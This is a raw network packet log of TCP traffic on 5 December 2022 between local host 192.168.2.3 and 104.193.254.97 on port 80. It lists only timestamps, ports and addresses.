Dec 5, 2022 06:44:42.564574957 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.564583063 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:42.564616919 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.564647913 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.564687967 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.564696074 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:42.564729929 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.564759970 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.564800024 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.564832926 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:42.564842939 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.564873934 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.564932108 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:42.727468014 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.727534056 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.727556944 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.727598906 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.727641106 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.727672100 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.727690935 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:42.727716923 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.727746964 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:42.727761984 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.727791071 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.727833033 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.727871895 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:42.727874994 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.727906942 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.727947950 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.727986097 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:42.727994919 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.728025913 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.728065968 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.728071928 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:42.728127003 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.728172064 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.728188038 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:42.728223085 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.728266954 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.728296995 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.728338003 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.728355885 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:42.728379965 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.728409052 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.728450060 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.728461981 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:42.728491068 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.728522062 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.728563070 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.728574038 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:42.728605986 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.728635073 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.728661060 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:42.728676081 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.728718042 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.728746891 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.728775024 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:42.728786945 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.728828907 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.728857994 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.728899002 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.728923082 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:42.728940964 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.728981972 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.729013920 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.729049921 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:42.729054928 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.729098082 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.729126930 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.729152918 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:42.729170084 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.729211092 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.729226112 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:42.729243040 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.729283094 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.729324102 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.729353905 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.729378939 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:42.729396105 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.729437113 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.729451895 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:42.729468107 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.729515076 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.729557037 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.729588985 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.729614973 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:42.729629040 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.729670048 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.729700089 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.729728937 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:42.729742050 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.730528116 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:42.892196894 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.892287970 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.892326117 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.892369986 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.892412901 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.892448902 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.892458916 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:42.892515898 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:42.892518997 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.892563105 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.892591953 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.892632961 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.892673016 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.892703056 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.892744064 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.892767906 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:42.892786026 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.892817020 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.892860889 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.892877102 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:42.892903090 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.892932892 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.892973900 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.892987967 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:42.893022060 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.893050909 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.893079042 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:42.893091917 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.893136978 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.893166065 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.893208027 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.893215895 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:42.893249989 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.893280029 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.893321037 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.893321991 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:42.893362999 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.893393040 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.893421888 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:42.893435001 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.893479109 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.893508911 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.893539906 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:42.893551111 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.893591881 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.893621922 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.893651009 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:42.893662930 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.893706083 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.893735886 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.893779993 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.893785000 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:42.893821001 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.893850088 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.893889904 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.893907070 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:42.893932104 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.893960953 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.893994093 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:42.894006014 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.894048929 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.894078016 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.894118071 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.894130945 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:42.894160032 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.894190073 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.894231081 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.894242048 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:42.894274950 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.894305944 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.894349098 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.894365072 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:42.894392014 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.894423008 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.894465923 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.894467115 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:42.894506931 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.894536018 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.894577026 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.894594908 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:42.894618988 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.894648075 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.894678116 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:42.894690037 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.960144043 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:43.554361105 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:43.772797108 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.003681898 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.166454077 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.166506052 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.166549921 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.166593075 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.166596889 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.166626930 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.166651011 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.166668892 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.166713953 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.166749954 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.166790962 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.166799068 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.166835070 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.166865110 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.166929960 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.166965961 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.166973114 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.167004108 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.167043924 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.167048931 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.167085886 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.167120934 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.167161942 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.167166948 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.167202950 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.167232990 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.167274952 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.167279005 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.167316914 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.167346001 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.167387009 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.167390108 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.167428970 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.167459011 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.167500019 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.167510986 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.167542934 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.167573929 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.167614937 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.167623997 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.167656898 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.167687893 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.167727947 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.167732000 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.167769909 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.167798996 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.167840004 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.167845011 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.167884111 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.167912006 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.167953014 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.167957067 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.167995930 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.168035984 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.168065071 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.168093920 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.168106079 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.168150902 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.168183088 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.168220043 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.168225050 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.168267965 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.168301105 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.168342113 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.168342113 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.168385029 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.168400049 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.168415070 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.168477058 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.168519974 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.168539047 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.168550014 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.168592930 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.168634892 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.168664932 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.168687105 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.168706894 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.168749094 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.168777943 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.168807030 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.168818951 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.168860912 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.168878078 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.168891907 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.168935061 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.169006109 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.331973076 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.332045078 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.332083941 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.332130909 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.332173109 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.332171917 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.332206011 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.332231045 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.332250118 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.332292080 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.332320929 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.332344055 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.332362890 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.332402945 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.332432985 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.332459927 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.332474947 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.332519054 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.332549095 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.332575083 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.332590103 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.332632065 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.332660913 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.332690001 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.332700968 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.332743883 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.332772970 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.332814932 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.332827091 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.332859993 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.332889080 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.332931042 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.332938910 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.332973003 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.333002090 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.333026886 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.333045006 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.333085060 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.333120108 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.333164930 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.333179951 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.333206892 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.333237886 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.333278894 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.333281040 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.333319902 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.333393097 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.333437920 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.333450079 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.333479881 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.333511114 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.333533049 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.333553076 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.333596945 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.333626032 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.333667994 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.333677053 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.333709955 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.333739042 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.333780050 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.333806992 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.333822966 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.333854914 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.333894968 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.333906889 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.333937883 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.333980083 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.333990097 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.334009886 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.334050894 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.334093094 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.334125042 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.334146976 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.334168911 CET	80	49705	104.193.254.97	192.168.2.3
